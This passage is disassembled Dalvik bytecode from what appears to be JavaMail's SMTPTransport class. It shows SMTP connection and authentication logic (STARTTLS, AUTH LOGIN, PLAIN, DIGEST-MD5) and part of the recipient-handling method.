000000DE move-result-object v3
000000E0 invoke-virtual PrintStream->println(String)V, v1, v3
:E6
000000E6 if-eqz v2, :100
:EA
000000EA if-eqz p3, :F2
:EE
000000EE if-nez p4, :100
:F2
000000F2 const/4 v0, 0x0
:F4
000000F4 return v0
:F6
000000F6 const/4 v0, 0x1
000000F8 goto :50
:FA
000000FA const/4 v1, 0x0
000000FC move v2, v1
000000FE goto :A2
:100
00000100 const/4 v1, 0xFFFFFFFFFFFFFFFF
00000102 if-ne p2, v1, :14C
:106
00000106 iget-object v1, p0, SMTPTransport->session:Session
0000010A new-instance v3, StringBuilder
0000010E const-string v4, "mail."
00000112 invoke-direct StringBuilder-><init>(String)V, v3, v4
00000118 iget-object v4, p0, SMTPTransport->name:String
0000011C invoke-virtual StringBuilder->append(String)StringBuilder, v3, v4
00000122 move-result-object v3
00000124 const-string v4, ".port"
00000128 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v4
0000012E move-result-object v3
00000130 invoke-virtual StringBuilder->toString()String, v3
00000136 move-result-object v3
00000138 invoke-virtual Session->getProperty(String)String, v1, v3
0000013E move-result-object v1
00000140 if-eqz v1, :30A
:144
00000144 invoke-static Integer->parseInt(String)I, v1
0000014A move-result p2
:14C
0000014C if-eqz p1, :15C
:150
00000150 invoke-virtual String->length()I, p1
00000156 move-result v1
00000158 if-nez v1, :520
:15C
0000015C const-string v1, "localhost"
:160
00000160 const/4 v3, 0x0
00000162 iget-object v4, p0, SMTPTransport->serverSocket:Socket
00000166 if-eqz v4, :312
:16A
0000016A invoke-direct SMTPTransport->openServer()V, p0
:170
00000170 if-eqz v0, :51A
:174
00000174 invoke-virtual SMTPTransport->getLocalHost()String, p0
0000017A move-result-object v0
0000017C invoke-virtual SMTPTransport->ehlo(String)Z, p0, v0
00000182 move-result v0
:184
00000184 if-nez v0, :196
:188
00000188 invoke-virtual SMTPTransport->getLocalHost()String, p0
0000018E move-result-object v0
00000190 invoke-virtual SMTPTransport->helo(String)V, p0, v0
:196
00000196 iget-boolean v0, p0, SMTPTransport->useStartTLS:Z
0000019A if-eqz v0, :1C2
:19E
0000019E const-string v0, "STARTTLS"
000001A2 invoke-virtual SMTPTransport->supportsExtension(String)Z, p0, v0
000001A8 move-result v0
000001AA if-eqz v0, :1C2
:1AE
000001AE invoke-virtual SMTPTransport->startTLS()V, p0
000001B4 invoke-virtual SMTPTransport->getLocalHost()String, p0
000001BA move-result-object v0
000001BC invoke-virtual SMTPTransport->ehlo(String)Z, p0, v0
:1C2
000001C2 if-nez v2, :1CE
:1C6
000001C6 if-eqz p3, :502
:1CA
000001CA if-eqz p4, :502
:1CE
000001CE const-string v0, "AUTH"
000001D2 invoke-virtual SMTPTransport->supportsExtension(String)Z, p0, v0
000001D8 move-result v0
000001DA if-nez v0, :1EE
:1DE
000001DE const-string v0, "AUTH=LOGIN"
000001E2 invoke-virtual SMTPTransport->supportsExtension(String)Z, p0, v0
000001E8 move-result v0
000001EA if-eqz v0, :502
:1EE
000001EE iget-boolean v0, p0, SMTPTransport->debug:Z
000001F2 if-eqz v0, :232
:1F6
000001F6 iget-object v0, p0, SMTPTransport->out:PrintStream
000001FA const-string v2, "DEBUG SMTP: Attempt to authenticate"
000001FE invoke-virtual PrintStream->println(String)V, v0, v2
00000204 const-string v0, "LOGIN"
00000208 invoke-virtual SMTPTransport->supportsAuthentication(String)Z, p0, v0
0000020E move-result v0
00000210 if-nez v0, :232
:214
00000214 const-string v0, "AUTH=LOGIN"
00000218 invoke-virtual SMTPTransport->supportsExtension(String)Z, p0, v0
0000021E move-result v0
00000220 if-eqz v0, :232
:224
00000224 iget-object v0, p0, SMTPTransport->out:PrintStream
00000228 const-string v2, "DEBUG SMTP: use AUTH=LOGIN hack"
0000022C invoke-virtual PrintStream->println(String)V, v0, v2
:232
00000232 const-string v0, "LOGIN"
00000236 invoke-virtual SMTPTransport->supportsAuthentication(String)Z, p0, v0
0000023C move-result v0
0000023E if-nez v0, :252
:242
00000242 const-string v0, "AUTH=LOGIN"
00000246 invoke-virtual SMTPTransport->supportsExtension(String)Z, p0, v0
0000024C move-result v0
0000024E if-eqz v0, :350
:252
00000252 const-string v0, "AUTH LOGIN"
00000256 invoke-virtual SMTPTransport->simpleCommand(String)I, p0, v0
0000025C move-result v0
0000025E const/16 v1, 0x212
00000262 if-ne v0, v1, :278
:266
00000266 invoke-virtual SMTPTransport->startTLS()V, p0
0000026C const-string v0, "AUTH LOGIN"
00000270 invoke-virtual SMTPTransport->simpleCommand(String)I, p0, v0
00000276 move-result v0
:278
00000278 new-instance v1, ByteArrayOutputStream
0000027C invoke-direct ByteArrayOutputStream-><init>()V, v1
00000282 new-instance v2, BASE64EncoderStream
00000286 const v3, 0x7FFFFFFF
0000028C invoke-direct BASE64EncoderStream-><init>(OutputStream, I)V, v2, v1, v3
00000292 const/16 v3, 0x14E
00000296 if-ne v0, v3, :2C4
:29A
0000029A invoke-static ASCIIUtility->getBytes(String)[B, p3
000002A0 move-result-object v3
000002A2 invoke-virtual OutputStream->write([B)V, v2, v3
000002A8 invoke-virtual OutputStream->flush()V, v2
000002AE invoke-virtual ByteArrayOutputStream->toByteArray()[B, v1
000002B4 move-result-object v3
000002B6 invoke-virtual SMTPTransport->simpleCommand([B)I, p0, v3
000002BC move-result v0
000002BE invoke-virtual ByteArrayOutputStream->reset()V, v1
:2C4
000002C4 const/16 v3, 0x14E
000002C8 if-ne v0, v3, :2F6
:2CC
000002CC invoke-static ASCIIUtility->getBytes(String)[B, p4
000002D2 move-result-object v3
000002D4 invoke-virtual OutputStream->write([B)V, v2, v3
000002DA invoke-virtual OutputStream->flush()V, v2
000002E0 invoke-virtual ByteArrayOutputStream->toByteArray()[B, v1
000002E6 move-result-object v2
000002E8 invoke-virtual SMTPTransport->simpleCommand([B)I, p0, v2
000002EE move-result v0
000002F0 invoke-virtual ByteArrayOutputStream->reset()V, v1
:2F6
000002F6 const/16 v1, 0xEB
000002FA if-eq v0, v1, :502
:2FE
000002FE invoke-direct SMTPTransport->closeConnection()V, p0
00000304 const/4 v0, 0x0
00000306 goto/16 :F4
:30A
0000030A iget p2, p0, SMTPTransport->defaultPort:I
0000030E goto/16 :14C
:312
00000312 invoke-direct SMTPTransport->openServer(String, I)V, p0, v1, p2
00000318 goto/16 :170
:31C
0000031C move-exception v1
0000031E const/16 v1, 0xEB
00000322 if-eq v0, v1, :502
:326
00000326 invoke-direct SMTPTransport->closeConnection()V, p0
0000032C const/4 v0, 0x0
0000032E goto/16 :F4
:332
00000332 move-exception v1
00000334 move-object v7, v1
00000336 move v1, v0
00000338 move-object v0, v7
0000033A const/16 v2, 0xEB
0000033E if-eq v1, v2, :34E
:342
00000342 invoke-direct SMTPTransport->closeConnection()V, p0
00000348 const/4 v0, 0x0
0000034A goto/16 :F4
:34E
0000034E throw v0
:350
00000350 const-string v0, "PLAIN"
00000354 invoke-virtual SMTPTransport->supportsAuthentication(String)Z, p0, v0
0000035A move-result v0
0000035C if-eqz v0, :412
:360
00000360 const-string v0, "AUTH PLAIN"
00000364 invoke-virtual SMTPTransport->simpleCommand(String)I, p0, v0
0000036A move-result v1
:36C
0000036C new-instance v0, ByteArrayOutputStream
00000370 invoke-direct ByteArrayOutputStream-><init>()V, v0
00000376 new-instance v2, BASE64EncoderStream
0000037A const v3, 0x7FFFFFFF
00000380 invoke-direct BASE64EncoderStream-><init>(OutputStream, I)V, v2, v0, v3
00000386 const/16 v3, 0x14E
0000038A if-ne v1, v3, :514
:38E
0000038E const/4 v3, 0x0
00000390 invoke-virtual OutputStream->write(I)V, v2, v3
00000396 invoke-static ASCIIUtility->getBytes(String)[B, p3
0000039C move-result-object v3
0000039E invoke-virtual OutputStream->write([B)V, v2, v3
000003A4 const/4 v3, 0x0
000003A6 invoke-virtual OutputStream->write(I)V, v2, v3
000003AC invoke-static ASCIIUtility->getBytes(String)[B, p4
000003B2 move-result-object v3
000003B4 invoke-virtual OutputStream->write([B)V, v2, v3
000003BA invoke-virtual OutputStream->flush()V, v2
000003C0 invoke-virtual ByteArrayOutputStream->toByteArray()[B, v0
000003C6 move-result-object v0
000003C8 invoke-virtual SMTPTransport->simpleCommand([B)I, p0, v0
:3CE
000003CE move-result v0
:3D0
000003D0 const/16 v1, 0xEB
000003D4 if-eq v0, v1, :502
:3D8
000003D8 invoke-direct SMTPTransport->closeConnection()V, p0
000003DE const/4 v0, 0x0
000003E0 goto/16 :F4
:3E4
000003E4 move-exception v0
000003E6 const/16 v0, 0xEB
000003EA if-eq v1, v0, :502
:3EE
000003EE invoke-direct SMTPTransport->closeConnection()V, p0
000003F4 const/4 v0, 0x0
000003F6 goto/16 :F4
:3FA
000003FA move-exception v0
000003FC const/16 v2, 0xEB
00000400 if-eq v1, v2, :410
:404
00000404 invoke-direct SMTPTransport->closeConnection()V, p0
0000040A const/4 v0, 0x0
0000040C goto/16 :F4
:410
00000410 throw v0
:412
00000412 const-string v0, "DIGEST-MD5"
00000416 invoke-virtual SMTPTransport->supportsAuthentication(String)Z, p0, v0
0000041C move-result v0
0000041E if-eqz v0, :502
:422
00000422 invoke-direct SMTPTransport->getMD5()DigestMD5, p0
00000428 move-result-object v0
0000042A if-eqz v0, :502
:42E
0000042E const-string v2, "AUTH DIGEST-MD5"
00000432 invoke-virtual SMTPTransport->simpleCommand(String)I, p0, v2
00000438 move-result v6
0000043A const/16 v2, 0x14E
0000043E if-ne v6, v2, :510
:442
00000442 invoke-virtual SMTPTransport->getSASLRealm()String, p0
00000448 move-result-object v4
0000044A iget-object v5, p0, SMTPTransport->lastServerResponse:String
0000044E move-object v2, p3
00000450 move-object v3, p4
00000452 invoke-virtual/range DigestMD5->authClient(String, String, String, String, String)[B, v0 .. v5
00000458 move-result-object v1
0000045A invoke-virtual SMTPTransport->simpleCommand([B)I, p0, v1
:460
00000460 move-result v1
00000462 const/16 v2, 0x14E
00000466 if-ne v1, v2, :47C
:46A
0000046A iget-object v2, p0, SMTPTransport->lastServerResponse:String
0000046E invoke-virtual DigestMD5->authServer(String)Z, v0, v2
:474
00000474 move-result v0
00000476 if-nez v0, :490
:47A
0000047A const/4 v1, 0xFFFFFFFFFFFFFFFF
:47C
0000047C const/16 v0, 0xEB
00000480 if-eq v1, v0, :502
:484
00000484 invoke-direct SMTPTransport->closeConnection()V, p0
0000048A const/4 v0, 0x0
0000048C goto/16 :F4
:490
00000490 const/4 v0, 0x0
:492
00000492 new-array v0, v0, [B
00000496 invoke-virtual SMTPTransport->simpleCommand([B)I, p0, v0
:49C
0000049C move-result v1
0000049E goto :47C
:4A0
000004A0 move-exception v0
000004A2 move v1, v6
:4A4
000004A4 iget-boolean v2, p0, SMTPTransport->debug:Z
000004A8 if-eqz v2, :4D4
:4AC
000004AC iget-object v2, p0, SMTPTransport->out:PrintStream
000004B0 new-instance v3, StringBuilder
000004B4 const-string v4, "DEBUG SMTP: DIGEST-MD5: "
000004B8 invoke-direct StringBuilder-><init>(String)V, v3, v4
000004BE invoke-virtual StringBuilder->append(Object)StringBuilder, v3, v0
000004C4 move-result-object v0
000004C6 invoke-virtual StringBuilder->toString()String, v0
000004CC move-result-object v0
000004CE invoke-virtual PrintStream->println(String)V, v2, v0
:4D4
000004D4 const/16 v0, 0xEB
000004D8 if-eq v1, v0, :502
:4DC
000004DC invoke-direct SMTPTransport->closeConnection()V, p0
000004E2 const/4 v0, 0x0
000004E4 goto/16 :F4
:4E8
000004E8 move-exception v0
000004EA move v1, v6
:4EC
000004EC const/16 v2, 0xEB
000004F0 if-eq v1, v2, :500
:4F4
000004F4 invoke-direct SMTPTransport->closeConnection()V, p0
000004FA const/4 v0, 0x0
000004FC goto/16 :F4
:500
00000500 throw v0
:502
00000502 const/4 v0, 0x1
00000504 goto/16 :F4
:508
00000508 move-exception v0
0000050A goto :4EC
:50C
0000050C move-exception v0
0000050E goto :4A4
:510
00000510 move v1, v6
00000512 goto :47C
:514
00000514 move v0, v1
00000516 goto/16 :3D0
:51A
0000051A move v0, v3
0000051C goto/16 :184
:520
00000520 move-object v1, p1
00000522 goto/16 :160
.catch IOException {:278 .. :2F6} :31C
.catchall {:278 .. :2F6} :332
.catch IOException {:36C .. :3CE} :3E4
.catchall {:36C .. :3CE} :3FA
.catch Exception {:442 .. :460} :4A0
.catchall {:442 .. :460} :4E8
.catch Exception {:46A .. :474} :50C
.catchall {:46A .. :474} :508
.catch Exception {:492 .. :49C} :50C
.catchall {:492 .. :49C} :508
.catchall {:4A4 .. :4D4} :508
.end method
.method protected rcptTo()V
.registers 15
00000000 new-instance v9, Vector
00000004 invoke-direct Vector-><init>()V, v9
0000000A new-instance v10, Vector
0000000E invoke-direct Vector-><init>()V, v10
00000014 new-instance v11, Vector
00000018 invoke-direct Vector-><init>()V, v11
0000001E const/4 v6, 0x0
00000020 const/4 v4, 0x0
00000022 const/4 v0, 0x0
00000024 iput-object v0, p0, SMTPTransport->invalidAddr:[Address
00000028 iput-object v0, p0, SMTPTransport->validUnsentAddr:[Address
0000002C iput-object v0, p0, SMTPTransport->validSentAddr:[Address
00000030 const/4 v0, 0x0
00000032 iget-object v1, p0, SMTPTransport->message:MimeMessage
00000036 instance-of v1, v1, SMTPMessage
0000003A if-eqz v1, :4E
:3E
0000003E iget-object v0, p0, SMTPTransport->message:MimeMessage
00000042 check-cast v0, SMTPMessage
00000046 invoke-virtual SMTPMessage->getSendPartial()Z, v0
0000004C move-result v0
:4E
0000004E if-nez v0, :680
:52
00000052 iget-object v0, p0, SMTPTransport->session:Session
00000056 new-instance v1, StringBuilder
0000005A const-string v2, "mail."
0000005E invoke-direct StringBuilder-><init>(String)V, v1, v2
00000064 iget-object v2, p0, SMTPTransport->name:String
00000068 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000006E move-result-object v1
00000070 const-string v2, ".sendpartial"
00000074 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000007A move-result-object v1
0000007C invoke-virtual StringBuilder->toString()String, v1
00000082 move-result-object v1
00000084 invoke-virtual Session->getProperty(String)String, v0, v1
0000008A move-result-object v0
0000008C if-eqz v0, :2B6
:90
00000090 const-string v1, "true"
00000094 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
0000009A move-result v0
0000009C if-eqz v0, :2B6
:A0
000000A0 const/4 v0, 0x1
:A2
000000A2 move v1, v0
:A4
000000A4 iget-boolean v0, p0, SMTPTransport->debug:Z
000000A8 if-eqz v0, :BE
:AC
000000AC if-eqz v1, :BE
:B0
000000B0 iget-object v0, p0, SMTPTransport->out:PrintStream
000000B4 const-string v2, "DEBUG SMTP: sendPartial set"
000000B8 invoke-virtual PrintStream->println(String)V, v0, v2
:BE
000000BE const/4 v2, 0x0
000000C0 const/4 v0, 0x0
000000C2 const-string v3, "DSN"
000000C6 invoke-virtual SMTPTransport->supportsExtension(String)Z, p0, v3
000000CC move-result v3
000000CE if-eqz v3, :678
:D2
000000D2 iget-object v3, p0, SMTPTransport->message:MimeMessage
000000D6 instance-of v3, v3, SMTPMessage
000000DA if-eqz v3, :EE
:DE
000000DE iget-object v0, p0, SMTPTransport->message:MimeMessage
000000E2 check-cast v0, SMTPMessage
000000E6 invoke-virtual SMTPMessage->getDSNNotify()String, v0
000000EC move-result-object v0
:EE
000000EE if-nez v0, :12C
:F2
000000F2 iget-object v0, p0, SMTPTransport->session:Session
000000F6 new-instance v3, StringBuilder
000000FA const-string v5, "mail."
000000FE invoke-direct StringBuilder-><init>(String)V, v3, v5
00000104 iget-object v5, p0, SMTPTransport->name:String
00000108 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v5
0000010E move-result-object v3
00000110 const-string v5, ".dsn.notify"
00000114 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v5
0000011A move-result-object v3
0000011C invoke-virtual StringBuilder->toString()String, v3
00000122 move-result-object v3
00000124 invoke-virtual Session->getProperty(String)String, v0, v3
0000012A move-result-object v0
:12C
0000012C if-eqz v0, :670
:130
00000130 const/4 v2, 0x1
00000132 move v3, v2
00000134 move-object v2, v0
:136
00000136 const/4 v0, 0x0
00000138 move v7, v0
:13A
0000013A iget-object v0, p0, SMTPTransport->addresses:[Address
0000013E array-length v0, v0
00000140 if-lt v7, v0, :2BC
:144
00000144 if-eqz v1, :156
:148
00000148 invoke-virtual Vector->size()I, v9
0000014E move-result v0
00000150 if-nez v0, :156
:154
00000154 const/4 v4, 0x1
:156
00000156 if-eqz v4, :4FE
:15A
0000015A invoke-virtual Vector->size()I, v11
00000160 move-result v0
00000162 new-array v0, v0, [Address
00000166 iput-object v0, p0, SMTPTransport->invalidAddr:[Address
0000016A iget-object v0, p0, SMTPTransport->invalidAddr:[Address
0000016E invoke-virtual Vector->copyInto([Object)V, v11, v0
00000174 invoke-virtual Vector->size()I, v9
0000017A move-result v0
0000017C invoke-virtual Vector->size()I, v10
00000182 move-result v1
00000184 add-int/2addr v0, v1
00000186 new-array v0, v0, [Address
0000018A iput-object v0, p0, SMTPTransport->validUnsentAddr:[Address
0000018E const/4 v1, 0x0
00000190 const/4 v0, 0x0
00000192 move v2, v1
00000194 move v1, v0
:196
00000196 invoke-virtual Vector->size()I, v9
0000019C move-result v0
0000019E if-lt v1, v0, :4B6
:1A2
000001A2 const/4 v0, 0x0
000001A4 move v1, v0
:1A6
000001A6 invoke-virtual Vector->size()I, v10
000001AC move-result v0
000001AE if-lt v1, v0, :4DA
:1B2
000001B2 iget-boolean v0, p0, SMTPTransport->debug:Z
000001B6 if-eqz v0, :23E
:1BA
000001BA iget-object v0, p0, SMTPTransport->validSentAddr:[Address
000001BE if-eqz v0, :1E6
:1C2
000001C2 iget-object v0, p0, SMTPTransport->validSentAddr:[Address
000001C6 array-length v0, v0
000001C8 if-lez v0, :1E6
:1CC
000001CC iget-object v0, p0, SMTPTransport->out:PrintStream
000001D0 const-string v1, "DEBUG SMTP: Verified Addresses"
000001D4 invoke-virtual PrintStream->println(String)V, v0, v1
000001DA const/4 v0, 0x0
:1DC
000001DC iget-object v1, p0, SMTPTransport->validSentAddr:[Address
000001E0 array-length v1, v1
000001E2 if-lt v0, v1, :58A
:1E6
000001E6 iget-object v0, p0, SMTPTransport->validUnsentAddr:[Address
000001EA if-eqz v0, :212
:1EE
000001EE iget-object v0, p0, SMTPTransport->validUnsentAddr:[Address
000001F2 array-length v0, v0
000001F4 if-lez v0, :212
:1F8
000001F8 iget-object v0, p0, SMTPTransport->out:PrintStream
000001FC const-string v1, "DEBUG SMTP: Valid Unsent Addresses"
00000200 invoke-virtual PrintStream->println(String)V, v0, v1
00000206 const/4 v0, 0x0
:208
00000208 iget-object v1, p0, SMTPTransport->validUnsentAddr:[Address
0000020C array-length v1, v1
0000020E if-lt v0, v1, :5C2
:212
00000212 iget-object v0, p0, SMTPTransport->invalidAddr:[Address
00000216 if-eqz v0, :23E
:21A
0000021A iget-object v0, p0, SMTPTransport->invalidAddr:[Address
0000021E array-length v0, v0
00000220 if-lez v0, :23E
:224
00000224 iget-object v0, p0, SMTPTransport->out:PrintStream
00000228 const-string v1, "DEBUG SMTP: Invalid Addresses"
0000022C invoke-virtual PrintStream->println(String)V, v0, v1
00000232 const/4 v0, 0x0
:234
00000234 iget-object v1, p0, SMTPTransport->invalidAddr:[Address
00000238 array-length v1, v1
0000023A if-lt v0, v1, :5FA
:23E
0000023E if-eqz v4, :668
:242
00000242 iget-boolean v0, p0, SMTPTransport->debug:Z
00000246 if-eqz v0, :258
:24A
0000024A iget-object v0, p0, SMTPTransport->out:PrintStream
0000024E const-string v1, "DEBUG SMTP: Sending failed because of invalid destination addresses"
00000252 invoke-virtual PrintStream->println(String)V, v0, v1
:258
00000258 const/4 v1, 0x2
0000025A iget-object v2, p0, SMTPTransport->validSentAddr:[Address
0000025E iget-object v3, p0, SMTPTransport->validUnsentAddr:[Address
00000262 iget-object v4, p0, SMTPTransport->invalidAddr:[Address
00000266 iget-object v5, p0, SMTPTransport->message:MimeMessage
0000026A move-object v0, p0
0000026C invoke-virtual/range SMTPTransport->notifyTransportListeners(I, [Address, [Address, [Address, Message)V, v0 .. v5
00000272 iget-object v1, p0, SMTPTransport->lastServerResponse:String
00000276 iget v2, p0, SMTPTransport->lastReturnCode:I
:27A
0000027A iget-object v0, p0, SMTPTransport->serverSocket:Socket
0000027E if-eqz v0, :290
:282
00000282 const-string v0, "RSET"
00000286 const/16 v3, 0xFA
0000028A invoke-virtual SMTPTransport->issueCommand(String, I)V, p0, v0, v3
:290
00000290 iput-object v1, p0, SMTPTransport->lastServerResponse:String
00000294 iput v2, p0, SMTPTransport->lastReturnCode:I
:298
00000298 new-instance v0, SendFailedException
0000029C const-string v1, "Invalid Addresses"
000002A0 iget-object v3, p0, SMTPTransport->validSentAddr:[Address
000002A4 iget-object v4, p0, SMTPTransport->validUnsentAddr:[Address
000002A8 iget-object v5, p0, SMTPTransport->invalidAddr:[Address
000002AC move-object v2, v6
000002AE invoke-direct/range SendFailedException-><init>(String, Exception, [Address, [Address, [Address)V, v0 .. v5
000002B4 throw v0
:2B6
000002B6 const/4 v0, 0x0
000002B8 goto/16 :A2
:2BC
000002BC iget-object v0, p0, SMTPTransport->addresses:[Address
000002C0 aget-object v0, v0, v7
000002C4 check-cast v0, InternetAddress
000002C8 new-instance v5, StringBuilder
000002CC const-string v8, "RCPT TO:"
000002D0 invoke-direct StringBuilder-><init>(String)V, v5, v8
000002D6 invoke-virtual InternetAddress->getAddress()String, v0
000002DC move-result-object v8
000002DE invoke-direct SMTPTransport->normalizeAddress(String)String, p0, v8
000002E4 move-result-object v8
000002E6 invoke-virtual StringBuilder->append(String)StringBuilder, v5, v8
000002EC move-result-object v5
000002EE invoke-virtual StringBuilder->toString()String, v5
000002F4 move-result-object v5
000002F6 if-eqz v3, :66A
:2FA
000002FA new-instance v8, StringBuilder
000002FE invoke-static String->valueOf(Object)String, v5
00000304 move-result-object v5
00000306 invoke-direct StringBuilder-><init>(String)V, v8, v5
0000030C const-string v5, " NOTIFY="
00000310 invoke-virtual StringBuilder->append(String)StringBuilder, v8, v5
00000316 move-result-object v5
00000318 invoke-virtual StringBuilder->append(String)StringBuilder, v5, v2
0000031E move-result-object v5
00000320 invoke-virtual StringBuilder->toString()String, v5
00000326 move-result-object v5
00000328 move-object v8, v5
:32A
0000032A invoke-virtual SMTPTransport->sendCommand(String)V, p0, v8
00000330 invoke-virtual SMTPTransport->readServerResponse()I, p0
00000336 move-result v12
00000338 sparse-switch v12, :688
:33E
0000033E const/16 v5, 0x190
00000342 if-lt v12, v5, :416
:346
00000346 const/16 v5, 0x1F3
0000034A if-gt v12, v5, :416
:34E
0000034E invoke-virtual Vector->addElement(Object)V, v10, v0
:354
00000354 if-nez v1, :35A
:358
00000358 const/4 v4, 0x1
:35A
0000035A new-instance v5, SMTPAddressFailedException
0000035E iget-object v13, p0, SMTPTransport->lastServerResponse:String
00000362 invoke-direct SMTPAddressFailedException-><init>(InternetAddress, String, I, String)V, v5, v0, v8, v12, v13
00000368 if-nez v6, :4A8
:36C
0000036C move v0, v4
0000036E move-object v4, v5
:370
00000370 add-int/lit8 v5, v7, 0x1
00000374 move v7, v5
00000376 move-object v6, v4
00000378 move v4, v0
0000037A goto/16 :13A
:37E
0000037E invoke-virtual Vector->addElement(Object)V, v9, v0
00000384 iget-boolean v5, p0, SMTPTransport->reportSuccess:Z
00000388 if-nez v5, :392
:38C
0000038C move v0, v4
0000038E move-object v4, v6
00000390 goto :370
:392
00000392 new-instance v5, SMTPAddressSucceededException
00000396 iget-object v13, p0, SMTPTransport->lastServerResponse:String
0000039A invoke-direct SMTPAddressSucceededException-><init>(InternetAddress, String, I, String)V, v5, v0, v8, v12, v13
000003A0 if-nez v6, :3AA
:3A4
000003A4 move v0, v4
000003A6 move-object v4, v5
000003A8 goto :370
:3AA
000003AA invoke-virtual MessagingException->setNextException(Exception)Z, v6, v5
000003B0 move v0, v4
000003B2 move-object v4, v6
000003B4 goto :370
:3B6
000003B6 if-nez v1, :3BC
:3BA
000003BA const/4 v4, 0x1
:3BC
000003BC invoke-virtual Vector->addElement(Object)V, v11, v0
000003C2 new-instance v5, SMTPAddressFailedException
000003C6 iget-object v13, p0, SMTPTransport->lastServerResponse:String
000003CA invoke-direct SMTPAddressFailedException-><init>(InternetAddress, String, I, String)V, v5, v0, v8, v12, v13
000003D0 if-nez v6, :3DA
:3D4
000003D4 move v0, v4
000003D6 move-object v4, v5
000003D8 goto :370
:3DA
000003DA invoke-virtual MessagingException->setNextException(Exception)Z, v6, v5
000003E0 move v0, v4
000003E2 move-object v4, v6
000003E4 goto :370
:3E6
000003E6 if-nez v1, :3EC
:3EA
000003EA const/4 v4, 0x1
:3EC
000003EC invoke-virtual Vector->addElement(Object)V, v10, v0
000003F2 new-instance v5, SMTPAddressFailedException
000003F6 iget-object v13, p0, SMTPTransport->lastServerResponse:String
000003FA invoke-direct SMTPAddressFailedException-><init>(InternetAddress, String, I, String)V, v5, v0, v8, v12, v13
00000400 if-nez v6, :40A
:404
00000404 move v0, v4
00000406 move-object v4, v5
00000408 goto :370
:40A
0000040A invoke-virtual MessagingException->setNextException(Exception)Z, v6, v5
00000410 move v0, v4
00000412 move-object v4, v6
00000414 goto :370
:416
00000416 const/16 v5, 0x1F4
0000041A if-lt v12, v5, :42E
:41E
0000041E const/16 v5, 0x257
00000422 if-gt v12, v5, :42E
:426
00000426 invoke-virtual Vector->addElement(Object)V, v11, v0
0000042C goto :354
:42E
0000042E iget-boolean v1, p0, SMTPTransport->debug:Z
00000432 if-eqz v1, :476
:436
00000436 iget-object v1, p0, SMTPTransport->out:PrintStream
0000043A new-instance v2, StringBuilder
0000043E const-string v3, "DEBUG SMTP: got response code "
00000442 invoke-direct StringBuilder-><init>(String)V, v2, v3
00000448 invoke-virtual StringBuilder->append(I)StringBuilder, v2, v12
0000044E move-result-object v2
00000450 const-string v3, ", with response: "
00000454 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
0000045A move-result-object v2
0000045C iget-object v3, p0, SMTPTransport->lastServerResponse:String
00000460 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000466 move-result-object v2
00000468 invoke-virtual StringBuilder->toString()String, v2
0000046E move-result-object v2
00000470 invoke-virtual PrintStream->println(String)V, v1, v2
:476
00000476 iget-object v1, p0, SMTPTransport->lastServerResponse:String
0000047A iget v2, p0, SMTPTransport->lastReturnCode:I
0000047E iget-object v3, p0, SMTPTransport->serverSocket:Socket
00000482 if-eqz v3, :494
:486
00000486 const-string v3, "RSET"
0000048A const/16 v4, 0xFA
0000048E invoke-virtual SMTPTransport->issueCommand(String, I)V, p0, v3, v4
:494
00000494 iput-object v1, p0, SMTPTransport->lastServerResponse:String
00000498 iput v2, p0, SMTPTransport->lastReturnCode:I
0000049C new-instance v2, SMTPAddressFailedException
000004A0 invoke-direct SMTPAddressFailedException-><init>(InternetAddress, String, I, String)V, v2, v0, v8, v12, v1
000004A6 throw v2
:4A8
000004A8 invoke-virtual MessagingException->setNextException(Exception)Z, v6, v5
000004AE move v0, v4
000004B0 move-object v4, v6
000004B2 goto/16 :370
:4B6
000004B6 iget-object v5, p0, SMTPTransport->validUnsentAddr:[Address
000004BA add-int/lit8 v3, v2, 0x1
000004BE invoke-virtual Vector->elementAt(I)Object, v9, v1
000004C4 move-result-object v0
000004C6 check-cast v0, Address
000004CA aput-object v0, v5, v2
000004CE add-int/lit8 v0, v1, 0x1
000004D2 move v1, v0
000004D4 move v2, v3
000004D6 goto/16 :196
:4DA
000004DA iget-object v5, p0, SMTPTransport->validUnsentAddr:[Address
000004DE add-int/lit8 v3, v2, 0x1
000004E2 invoke-virtual Vector->elementAt(I)Object, v10, v1
000004E8 move-result-object v0
000004EA check-cast v0, Address
000004EE aput-object v0, v5, v2
000004F2 add-int/lit8 v0, v1, 0x1
000004F6 move v1, v0
000004F8 move v2, v3
000004FA goto/16 :1A6
:4FE
000004FE iget-boolean v0, p0, SMTPTransport->reportSuccess:Z
00000502 if-nez v0, :522
:506
00000506 if-eqz v1, :57E
:50A
0000050A invoke-virtual Vector->size()I, v11
00000510 move-result v0
00000512 if-gtz v0, :522
:516
00000516 invoke-virtual Vector->size()I, v10
0000051C move-result v0
0000051E if-lez v0, :57E
:522
00000522 const/4 v0, 0x1
00000524 iput-boolean v0, p0, SMTPTransport->sendPartiallyFailed:Z
00000528 iput-object v6, p0, SMTPTransport->exception:MessagingException
0000052C invoke-virtual Vector->size()I, v11
00000532 move-result v0
00000534 new-array v0, v0, [Address
00000538 iput-object v0, p0, SMTPTransport->invalidAddr:[Address
0000053C iget-object v0, p0, SMTPTransport->invalidAddr:[Address
00000540 invoke-virtual Vector->copyInto([Object)V, v11, v0
00000546 invoke-virtual Vector->size()I, v10
0000054C move-result v0
0000054E new-array v0, v0, [Address
00000552 iput-object v0, p0, SMTPTransport->validUnsentAddr:[Address
00000556 iget-object v0, p0, SMTPTransport->validUnsentAddr:[Address
0000055A invoke-virtual Vector->copyInto([Object)V, v10, v0
00000560 invoke-virtual Vector->size()I, v9
00000566 move-result v0
00000568 new-array v0, v0, [Address
0000056C iput-object v0, p0, SMTPTransport->validSentAddr:[Address
00000570 iget-object v0, p0, SMTPTransport->validSentAddr:[Address
00000574 invoke-virtual Vector->copyInto([Object)V, v9, v0
0000057A goto/16 :1B2
:57E
0000057E iget-object v0, p0, SMTPTransport->addresses:[Address
00000582 iput-object v0, p0, SMTPTransport->validSentAddr:[Address
00000586 goto/16 :1B2
:58A
0000058A iget-object v1, p0, SMTPTransport->out:PrintStream
0000058E new-instance v2, StringBuilder
00000592 const-string v3, "DEBUG SMTP: "
00000596 invoke-direct StringBuilder-><init>(String)V, v2, v3
